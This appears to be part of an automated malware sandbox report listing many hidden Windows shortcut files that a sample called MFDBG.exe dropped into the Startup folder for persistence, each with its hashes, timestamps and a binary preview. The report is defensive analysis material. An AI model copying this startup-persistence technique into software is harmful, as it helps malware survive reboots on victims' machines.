Preview:	L..................F...."...]W%.{....a..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f335786c4f8d47ceaa9ca13846301356.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:52 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942512926052347
Encrypted:	false
SSDEEP:	24:8ThBf9l8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8nA0R6rMhpBoUBxdRd1nYyg
MD5:	8B5F434B17118CDFE8A8B3C9552B239C
SHA1:	5BC1280CE5F36768293CE5F5C480736B861B0BD9
SHA-256:	BBB3ADABD7F91B7C07D86F997675941717A682DAC5EFDCE16C3B10AC6509CD7C
SHA-512:	D8CD62006235CBF3CC03C69AC30965924D6F43661B38E895D4599A4C7AB4C265B34EE0B146849FB47D1C7299B006CE2C97F2998EF58ED0C09A878B0A5B635A7A
Malicious:	false
Preview:	L..................F...."...]W%.{....QP.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...J...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f34e7e1fc69c4e9fb9f088eeafb60680.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937729960477121
Encrypted:	false
SSDEEP:	24:8A9hBff8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8A9M0R6rMhpBoUBxdRd1nYyg
MD5:	F13F4DF3D67CF79AE6229A8366408C21
SHA1:	4930C31619642362037564E8228797B31CB08D11
SHA-256:	E296D3474148C6C1C7411C9A95DADAE08F14346D21C43BEC61328809235E3898
SHA-512:	E996A0039E08960986DD079FD08A7B7DA4C3D9C059F77C83EBF90F4A5F03BFEAF9DCE34043EB083BC6C96A7CC1B647C0DA9F4DB53A77A7415AA17CD0AFFEEBFA
Malicious:	false
Preview:	L..................F...."...]W%.{...o%o.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....Lv.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f380f482b40d4f48b4d28f3c28dcec37.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.94612514232557
Encrypted:	false
SSDEEP:	24:8shBf1kD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8er0R6rMhpBoUBxdRd1nYyg
MD5:	2AAB5CB33C982F5B431503E4F58A9C02
SHA1:	693F1E48CBB7E4B8EE8A16C1C97E1B347F9801D6
SHA-256:	64885D27FFB8F604C3DAE336BC275DACB51172EB0590B3A9AB4D1BD6F5351EB9
SHA-512:	766B3E3FEC1AF6E47E9BA7E6AFD26468105227628AB4EC9F6DFA6BB401E7C0FD939BCA9EFC9F6AD52EED8679D427AE243135B9260D58C32F0B5B2DE42B1AD945
Malicious:	false
Preview:	L..................F...."...]W%.{...}.+.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....(.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f394e560da884f218d4d174761443775.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:10 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942081009756598
Encrypted:	false
SSDEEP:	24:8B2hBfR8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:86e0R6rMhpBoUBxdRd1nYyg
MD5:	AA945F550747F1459B9A83FF6555FFF2
SHA1:	674C5A328837483432D584A995B511E26686B1A9
SHA-256:	9E3BB33CF00A8AEEF89216C7EAABC7B89AA72594B4C455A1A086532A461E0C39
SHA-512:	3EB0B90F5C286B9FE7D649D42B47DF34A343A8C9815239818A079F3643BA1EF01A4E49048CAC3CDECF1007E73C6A77648168E5628411EAEC03CB95F65F797E12
Malicious:	false
Preview:	L..................F...."...]W%.{....&..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f3f35018572b4e30beaf27a2130b03a6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:01 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934152142890945
Encrypted:	false
SSDEEP:	24:8uhBfeIl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8knC0R6rMhpBoUBxdRd1nYyg
MD5:	3EAB06A6D62EE7D66D04BBA86E7379EF
SHA1:	DF37312675D5809BAD655A318E5BDCE5EC8BAC8C
SHA-256:	16AC887E83612FFCB6715B71C457DF9182B1C9B215C7E6A8C7DA0A69123B0FD3
SHA-512:	EB89F3B00CA4092463F5023455F6C6021E2EFB5BF606C288EC2346377A67001487F355E8627D35A42CBEF5AF6EC5EB9CAAB9744053ADD8A205F2D0CFA8AC8DC3
Malicious:	false
Preview:	L..................F...."...]W%.{...F,!.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...o...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f4098c5c0f4b48b9b90efcf8339b120c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.94427504058979
Encrypted:	false
SSDEEP:	24:8w2hBft8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8wcC0R6rMhpBoUBxdRd1nYyg
MD5:	4EFA4B24CAB32A47511FF6236527F038
SHA1:	2A37D4DE44DFA4774432EAEA38C3F13A287F7937
SHA-256:	97AE66D38C078311DB1A3FB2B13A169457AC1611F22218157669F65D159E5CF8
SHA-512:	E5FA9F3E45E97DDB732481A3AE1BF0AF05C18C8857CAFB0B0E24103A4B1CD3E38CD11E5B62BB7B45649866A8A12ADD71593F2E1B4E86860743FB2BF61CB78EBD
Malicious:	false
Preview:	L..................F...."...]W%.{....*.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....s#.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f42281232a554203a4a99f7e4d319284.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:51 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935102774276154
Encrypted:	false
SSDEEP:	24:8Z9hBf3+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8HPT0R6rMhpBoUBxdRd1nYyg
MD5:	E394B789ADAA2BA163F159497DFC27B7
SHA1:	656D9273C8AB593E100D5B15919696E861E9BEF7
SHA-256:	DBBC91CED3D6500A8BB3E31F9D4BE2323466CD2AEEE25D566D7BB5BA84513082
SHA-512:	97B7299D1F60156F70F8F68AB56FE53F4DD4C8CD44C84F90E8156F3E2F71111D98D90EC2F9760C2C7647946B54B9776A73799B6D451E5EBD8080DBE2A5705DE9
Malicious:	false
Preview:	L..................F...."...]W%.{...be^.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...u.=.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f470ccf3d44b48a18282adb2bc22ac19.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:15 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933332480674299
Encrypted:	false
SSDEEP:	24:82hBfy8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8cn0R6rMhpBoUBxdRd1nYyg
MD5:	97EA725C037279D4E96F5EAF34BCC23B
SHA1:	99E6E8D57D87CC0CDBFBEAB8CCD2B23EBD956681
SHA-256:	5FB6A68D509A233810182A0577BC7C641DC3A47CAA4C9AEE319FE7848701B3D2
SHA-512:	5C4C345625B077A3D38E923CA9ED72496136DF0A8EF1767475239A7622AF315E66511E590C860EF6C3170005280C5C066A3663036D6EA5C4A4BBFA94FAC687CD
Malicious:	false
Preview:	L..................F...."...]W%.{.....9.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...K...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f47c171e690d4b0699c72a82229c15cd.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:14 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933813099637434
Encrypted:	false
SSDEEP:	24:8ghBfy8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8yn0R6rMhpBoUBxdRd1nYyg
MD5:	E70FF36AD581CF28803268B9B18F8E87
SHA1:	0A2A2788BB57E684F16861E3C28D8F33A858DC6D
SHA-256:	453DA5151CE2AF9C44A497AD42BC844303769F0EF6200DC60170B73DEE0B7D9C
SHA-512:	CD56DA8272703597D921B59EFE6A29F2F91E74B518F7B92B88E8A3416A7DA8EDE5F453B75B202B6CBD0DE7374C5F4C6A3AAE19671D3D6290B5691F987A02B92B
Malicious:	false
Preview:	L..................F...."...]W%.{....k..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...K...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f493e8cfba83467e92a6dc8d60879a01.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935231285077466
Encrypted:	false
SSDEEP:	24:8ChBfQl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8o30R6rMhpBoUBxdRd1nYyg
MD5:	E489ECEFB77147E06566D1A1F507278E
SHA1:	7624272890BA8E3CF256651805C94C8AF1191787
SHA-256:	029ADD4082BD9282B083A8EAAE86C87AB739BC97ED0802BFB8AE24F36EC732A2
SHA-512:	BDC38D44482B916055034AAC6D0427FB040FD54BBF07DB5936E9B700BA3ED900791B7D151DB335E598DC9EA2203DF38111458FC07F1A921AEB0EEE2888D134BF
Malicious:	false
Preview:	L..................F...."...]W%.{...%;I.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....3.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f4d26bdc53e642a09298e752a8f87d23.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:28 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.94118272781065
Encrypted:	false
SSDEEP:	24:83hBfvl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8r3C0R6rMhpBoUBxdRd1nYyg
MD5:	B43D6B82E1D0A0313DA327B55482D0C3
SHA1:	5715F9AA84A7F721A186FDA8DB60070FFB641AA2
SHA-256:	B45C193701F6BD35649EBF4704A589F0A96BB453078535EAD75482B00002ED94
SHA-512:	53C9D5F7A23F94CFAEB0F6FA9C779A0EB969F8521302140CADD8F4BE7FFBA3AFE4B969BD49FC4D1AE0F91D029AB504B5B3430C094A3A0787BA43C506E8887EC2
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f4edaf51c7924e10a088f778e5976e51.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9443630277881265
Encrypted:	false
SSDEEP:	24:8nhBfp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:87m0R6rMhpBoUBxdRd1nYyg
MD5:	AFBBB8DC0330A5D8B96B71F20382D9FA
SHA1:	DBEB2579D9FD88A53C94BCB8BBC1AD55BBD868FC
SHA-256:	9ABEB772F29DDF70F0435DA4F5FB5021B3F81523DF26CF0548FFA3F99D6ADF1A
SHA-512:	5F98BC9D3774F658CF7C9A851B2559CC29EBE67E8627AA4A12DC509EE0F0213FAECE08EEE9FD1CCDC774074F0939E9AE72E36F275D711E5EB5CC9E58337BF67F
Malicious:	false
Preview:	L..................F...."...]W%.{....Q..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....x..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f523f702d3174430bb9d19d9756cbd44.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:48 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941526656908063
Encrypted:	false
SSDEEP:	24:8NhBfU+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8tcT0R6rMhpBoUBxdRd1nYyg
MD5:	4B7E6E44075F9265CFF2DCE1D241E6E0
SHA1:	6D4E09820AF9C14AD3EC57D58497AA27B3FB09F5
SHA-256:	E96AF28202EEA8AF12BC3DEF191A7945639AE09871B9863DE38C212A42EC2E67
SHA-512:	A8F9ADB7C1981F6120CB21CA3C641F2047C06CA498CC3EFA0228882522FC42BBC13CF1417DD92F6D305A0B7F46EEC564C701B3770F869D57A7C8045BBAB15D17
Malicious:	false
